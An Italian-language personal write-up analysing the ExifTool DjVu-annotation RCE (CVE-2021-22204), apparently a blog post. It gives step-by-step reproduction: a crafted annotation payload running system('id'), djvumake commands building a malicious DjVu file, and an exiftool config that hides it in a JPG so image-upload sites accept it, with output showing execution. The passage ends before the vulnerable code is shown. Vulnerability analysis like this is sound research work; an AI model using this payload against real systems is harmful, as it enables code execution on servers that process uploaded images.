
Analisi tecnica approfondita di CVE-2021-22204 (ExifTool RCE) con riproduzione PoC, costruzione del payload e revisione del codice Perl del parser di annotazioni DjVu vulnerabile.
Questo dovrebbe essere un articolo di analisi di CVE-2021-22204, ma è più che altro un mio quaderno di appunti, pieno di cose sparse e disordinate. Per un articolo di analisi di vulnerabilità può sembrare pieno di divagazioni, ma mi ha fatto imparare molto.
A dire il vero, non ho mai usato questo strumento e non avevo quasi mai avuto a che fare con il linguaggio Perl, quindi durante l'analisi e persino nella riproduzione avevo la mente piena di punti interrogativi. Prima di iniziare l'analisi, diamo un'occhiata ai PoC già pubblicati online e ai dubbi che avevo.
L'articolo che ho visto è [1], che introduce brevemente la causa della vulnerabilità, ma poiché non capisco il codice Perl, molti punti non mi sono chiari. Il processo di riproduzione è il seguente:
Scarica exiftool versione 12.23
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
Decomprimi e installa
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
Naturalmente, se non vuoi installarlo, puoi semplicemente mettere il file exiftool nella directory di exiftool-12.23 in una directory raggiungibile dalle variabili d'ambiente, così puoi usare direttamente lo strumento exiftool, perché Perl è un linguaggio interpretato, simile a Python.
Per creare un'immagine maliziosa, installa prima gli strumenti necessari
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
Esegui il comando seguente per creare un file djvu malizioso
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# Questa è la parte che mi ha confuso di più: non capisco perché serva comprimere (perché altri PoC non lo richiedono)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Qualsiasi cosa nel formato 'N,N' dove N è un numero
# BGjp = Si aspetta un'immagine JPEG, ma possiamo usare /dev/null per non usare alcuna immagine di sfondo
# ANTz = Scriverà il chunk di annotazione compresso con il file di input
Poi, analizzando il file malizioso con lo strumento exiftool, si nota che il comando id viene eseguito con successo
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
Quando prima si creava un file in formato djvu con il comando djvumake, si poteva evitare di comprimere il payload? Dal punto di vista dell'analisi non sarebbe comodo da visualizzare e testare. Certo che si può: basta sostituire il parametro ANTz con ANTa. Per ANTz e ANTa si può fare riferimento alla documentazione di exiftool [3], ma non sono comunque riuscito a trovare il loro significato specifico, perché non ho trovato una documentazione standard.
Qui voglio anche lamentarmi: volevo usare
man djvumakeper vedere la spiegazione dei parametri, ma non c'è alcuna spiegazione diANTzeANTa. La data del documento è il 2001, non è stato aggiornato da molto tempo.
| Tag ID | Tag Name | Writable |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTa indica che Annotation viene memorizzato in chiaro all'interno di metadata nel file djvu, mentre ANTz è il formato compresso bzz.
Ma i file in formato djvu non sono comuni, specialmente nei siti web dove si caricano immagini: la maggior parte accetta solo file png/jpg/jpeg. Quindi sarebbe bello poter trasformare un file djvu malizioso in un file jpg.
Lo strumento exiftool può aiutarci a modificare il contenuto delle immagini: basta inserire il file djvu malizioso nella posizione appropriata di un file jpg. Quanto alla posizione esatta e al motivo per cui può essere quella, lo spiegherò più avanti nell'analisi.
Crea un file di configurazione per exiftool chiamato eval.config
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b corrisponde al Tag 'HasselbladExif'[6]
0xc51b => {
# Il nome può essere scelto liberamente, è il nome del parametro ricevuto
Name => 'HasselbladExif',
# Tipo di variabile scrivibile
Writable => 'string',
# A quale Group[7] dei metadata appartengono i dati scritti
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
Per la sintassi dei file di configurazione di exiftool, fare riferimento a [4][5]. Poi prendi un normale file immagine jpg chiamato poc.jpg ed esegui il comando seguente
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
Analizzando di nuovo poc.jpg con exiftool, il comando viene eseguito con successo
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
Il processo di analisi seguente fa riferimento al contenuto di [2]. Le versioni interessate dalla vulnerabilità sono exiftool < 12.24 e il file che la causa è
lib/Image/ExifTool/DjVu.pm (line 202)
Il codice della funzione coinvolta è il seguente